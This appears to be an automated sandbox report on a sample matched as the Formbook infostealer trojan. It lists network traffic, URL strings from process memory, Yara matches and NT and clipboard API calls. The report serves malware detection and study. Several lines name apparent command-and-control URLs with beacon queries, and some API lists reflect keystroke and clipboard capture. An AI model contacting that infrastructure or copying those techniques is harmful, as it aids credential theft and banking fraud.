Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 07 Nov 2024 11:51:53 GMTServer: ApacheContent-Length: 389Connection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 07 Nov 2024 11:51:56 GMTServer: ApacheContent-Length: 389Connection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 07 Nov 2024 11:51:58 GMTServer: ApacheContent-Length: 389Connection: closeContent-Type: text/html; charset=utf-8Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 07 Nov 2024 11:52:31 GMTServer: ApacheContent-Length: 262Connection: closeContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 20 53 65 72 76 65 72 20 61 74 20 77 77 77 2e 31 38 6b 77 61 74 63 68 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache Server at www.18kwatch.com Port 80</address></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 07 Nov 2024 11:52:34 GMTServer: ApacheContent-Length: 262Connection: closeContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 20 53 65 72 76 65 72 20 61 74 20 77 77 77 2e 31 38 6b 77 61 74 63 68 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache Server at www.18kwatch.com Port 80</address></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 07 Nov 2024 11:52:36 GMTServer: ApacheContent-Length: 262Connection: closeContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 20 53 65 72 76 65 72 20 61 74 20 77 77 77 2e 31 38 6b 77 61 74 63 68 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache Server at www.18kwatch.com Port 80</address></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 07 Nov 2024 11:52:39 GMTServer: ApacheContent-Length: 262Connection: closeContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 20 53 65 72 76 65 72 20 61 74 20 77 77 77 2e 31 38 6b 77 61 74 63 68 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache Server at www.18kwatch.com Port 80</address></body></html>

Source: MqYVUkmlJNkso.exe, 0000000D.00000002.3749884813.0000000004C1E000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: http://www.it2sp8.vip
Source: MqYVUkmlJNkso.exe, 0000000D.00000002.3749884813.0000000004C1E000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: http://www.it2sp8.vip/u70o/
Source: openfiles.exe, 0000000C.00000003.1792499517.0000000008388000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: openfiles.exe, 0000000C.00000003.1792499517.0000000008388000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: openfiles.exe, 0000000C.00000003.1792499517.0000000008388000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: openfiles.exe, 0000000C.00000003.1792499517.0000000008388000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: openfiles.exe, 0000000C.00000003.1792499517.0000000008388000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: openfiles.exe, 0000000C.00000003.1792499517.0000000008388000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: openfiles.exe, 0000000C.00000003.1792499517.0000000008388000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: openfiles.exe, 0000000C.00000002.3749115290.0000000006BFA000.00000004.10000000.00040000.00000000.sdmp, MqYVUkmlJNkso.exe, 0000000D.00000002.3747926409.0000000003CBA000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://falconheights.net/4wnb/?E2fH=X14YfohpWrTQgo
Source: openfiles.exe, 0000000C.00000002.3738224214.0000000003394000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_authorize.srfclient_id=00000000480728C5&scope=service::ssl.live.com::
Source: openfiles.exe, 0000000C.00000003.1783178516.0000000008366000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_authorize.srfhttps://login.live.com/oauth20_desktop.srfhttps://login.
Source: openfiles.exe, 0000000C.00000002.3738224214.0000000003394000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_desktop.srf&lw=1&fl=wld2)
Source: openfiles.exe, 0000000C.00000002.3738224214.0000000003394000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_desktop.srf?lc=1033
Source: openfiles.exe, 0000000C.00000002.3738224214.0000000003394000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_desktop.srflc=1033T
Source: openfiles.exe, 0000000C.00000002.3738224214.0000000003394000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_logout.srf?client_id=00000000480728C5&redirect_uri=https://login.live
Source: openfiles.exe, 0000000C.00000002.3738224214.0000000003394000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_logout.srfclient_id=00000000480728C5&redirect_uri=https://login.live.
Source: openfiles.exe, 0000000C.00000003.1792499517.0000000008388000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: openfiles.exe, 0000000C.00000003.1792499517.0000000008388000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: openfiles.exe, 0000000C.00000002.3749115290.0000000006420000.00000004.10000000.00040000.00000000.sdmp, MqYVUkmlJNkso.exe, 0000000D.00000002.3747926409.00000000034E0000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.pegji.online/d2v9/?wZY4Z=9tG860z8qzo&E2fH=/BGEsYOqsJqqhDEhAmSoz7XGIyY1zd7NGknPEqdHfHUeoK

Source: C:\Users\user\Desktop\3NvALxFlHV.exe

Code function: 3_2_0046C5D0 OpenClipboard,IsClipboardFormatAvailable,IsClipboardFormatAvailable,GetClipboardData,CloseClipboard,

3_2_0046C5D0

Source: C:\Users\user\Desktop\3NvALxFlHV.exe

Code function: 3_2_00459FFF OpenClipboard,EmptyClipboard,CloseClipboard,GlobalAlloc,GlobalLock,_wcscpy,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,

3_2_00459FFF

Source: C:\Users\user\Desktop\3NvALxFlHV.exe

Code function: 3_2_0046C5D0 OpenClipboard,IsClipboardFormatAvailable,IsClipboardFormatAvailable,GetClipboardData,CloseClipboard,

3_2_0046C5D0

Source: C:\Users\user\Desktop\3NvALxFlHV.exe

Code function: 3_2_00456354 GetCursorPos,ScreenToClient,GetAsyncKeyState,GetAsyncKeyState,GetAsyncKeyState,GetWindowLongW,

3_2_00456354

Source: C:\Users\user\Desktop\3NvALxFlHV.exe

Code function: 3_2_0047C08E SendMessageW,DefDlgProcW,GetKeyState,GetKeyState,GetKeyState,SendMessageW,GetKeyState,GetWindowLongW,SendMessageW,SendMessageW,SendMessageW,_wcsncpy,SendMessageW,SendMessageW,SendMessageW,InvalidateRect,SendMessageW,ImageList_SetDragCursorImage,ImageList_BeginDrag,SetCapture,ClientToScreen,ImageList_DragEnter,ReleaseCapture,GetCursorPos,ScreenToClient,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,GetCursorPos,ScreenToClient,GetParent,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,GetWindowLongW,

3_2_0047C08E

E-Banking Fraud

Malicious sample detected (through community Yara rule)

Source: Yara match	File source: 7.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000007.00000002.1605796151.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.3749884813.0000000004BC0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.3747438658.0000000004D40000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.1612426641.0000000008EA0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.3735188109.00000000030C0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.1606404910.0000000005F90000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.3747679564.0000000004D90000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.3747607666.0000000005580000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY

System Summary

Source: 7.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 7.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000007.00000002.1605796151.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 0000000D.00000002.3749884813.0000000004BC0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 0000000C.00000002.3747438658.0000000004D40000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000007.00000002.1612426641.0000000008EA0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 0000000C.00000002.3735188109.00000000030C0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000007.00000002.1606404910.0000000005F90000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 0000000C.00000002.3747679564.0000000004D90000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 0000000B.00000002.3747607666.0000000005580000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown

Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_0042C443 NtClose,	7_2_0042C443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03472B60 NtClose,LdrInitializeThunk,	7_2_03472B60
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03472DF0 NtQuerySystemInformation,LdrInitializeThunk,	7_2_03472DF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034735C0 NtCreateMutant,LdrInitializeThunk,	7_2_034735C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03474340 NtSetContextThread,	7_2_03474340
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03474650 NtSuspendThread,	7_2_03474650
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03472BE0 NtQueryValueKey,	7_2_03472BE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03472BF0 NtAllocateVirtualMemory,	7_2_03472BF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03472B80 NtQueryInformationFile,	7_2_03472B80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03472BA0 NtEnumerateValueKey,	7_2_03472BA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03472AD0 NtReadFile,	7_2_03472AD0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03472AF0 NtWriteFile,	7_2_03472AF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03472AB0 NtWaitForSingleObject,	7_2_03472AB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03472F60 NtCreateProcessEx,	7_2_03472F60
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03472F30 NtCreateSection,	7_2_03472F30
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03472FE0 NtCreateFile,	7_2_03472FE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03472F90 NtProtectVirtualMemory,	7_2_03472F90
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03472FA0 NtQuerySection,	7_2_03472FA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03472FB0 NtResumeThread,	7_2_03472FB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03472E30 NtWriteVirtualMemory,	7_2_03472E30
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03472EE0 NtQueueApcThread,	7_2_03472EE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03472E80 NtReadVirtualMemory,	7_2_03472E80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03472EA0 NtAdjustPrivilegesToken,	7_2_03472EA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03472D00 NtSetInformationFile,	7_2_03472D00
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03472D10 NtMapViewOfSection,	7_2_03472D10
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03472D30 NtUnmapViewOfSection,	7_2_03472D30
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03472DD0 NtDelayExecution,	7_2_03472DD0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03472DB0 NtEnumerateKey,	7_2_03472DB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03472C60 NtCreateKey,	7_2_03472C60
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03472C70 NtFreeVirtualMemory,	7_2_03472C70
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03472C00 NtQueryInformationProcess,	7_2_03472C00
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03472CC0 NtQueryVirtualMemory,	7_2_03472CC0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03472CF0 NtOpenProcess,	7_2_03472CF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03472CA0 NtQueryInformationToken,	7_2_03472CA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03473010 NtOpenDirectoryObject,	7_2_03473010
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03473090 NtSetValueKey,	7_2_03473090
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034739B0 NtGetContextThread,	7_2_034739B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03473D70 NtOpenThread,	7_2_03473D70
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03473D10 NtOpenProcessToken,	7_2_03473D10
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 12_2_05114650 NtSuspendThread,LdrInitializeThunk,	12_2_05114650
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 12_2_05114340 NtSetContextThread,LdrInitializeThunk,	12_2_05114340
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 12_2_05112D10 NtMapViewOfSection,LdrInitializeThunk,	12_2_05112D10
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 12_2_05112D30 NtUnmapViewOfSection,LdrInitializeThunk,	12_2_05112D30
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 12_2_05112DD0 NtDelayExecution,LdrInitializeThunk,	12_2_05112DD0
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 12_2_05112DF0 NtQuerySystemInformation,LdrInitializeThunk,	12_2_05112DF0
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 12_2_05112C70 NtFreeVirtualMemory,LdrInitializeThunk,	12_2_05112C70
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 12_2_05112C60 NtCreateKey,LdrInitializeThunk,	12_2_05112C60
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 12_2_05112CA0 NtQueryInformationToken,LdrInitializeThunk,	12_2_05112CA0
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 12_2_05112F30 NtCreateSection,LdrInitializeThunk,	12_2_05112F30
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 12_2_05112FB0 NtResumeThread,LdrInitializeThunk,	12_2_05112FB0
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 12_2_05112FE0 NtCreateFile,LdrInitializeThunk,	12_2_05112FE0
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 12_2_05112E80 NtReadVirtualMemory,LdrInitializeThunk,	12_2_05112E80
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 12_2_05112EE0 NtQueueApcThread,LdrInitializeThunk,	12_2_05112EE0
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 12_2_05112B60 NtClose,LdrInitializeThunk,	12_2_05112B60
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 12_2_05112BA0 NtEnumerateValueKey,LdrInitializeThunk,	12_2_05112BA0
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 12_2_05112BF0 NtAllocateVirtualMemory,LdrInitializeThunk,	12_2_05112BF0
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 12_2_05112BE0 NtQueryValueKey,LdrInitializeThunk,	12_2_05112BE0
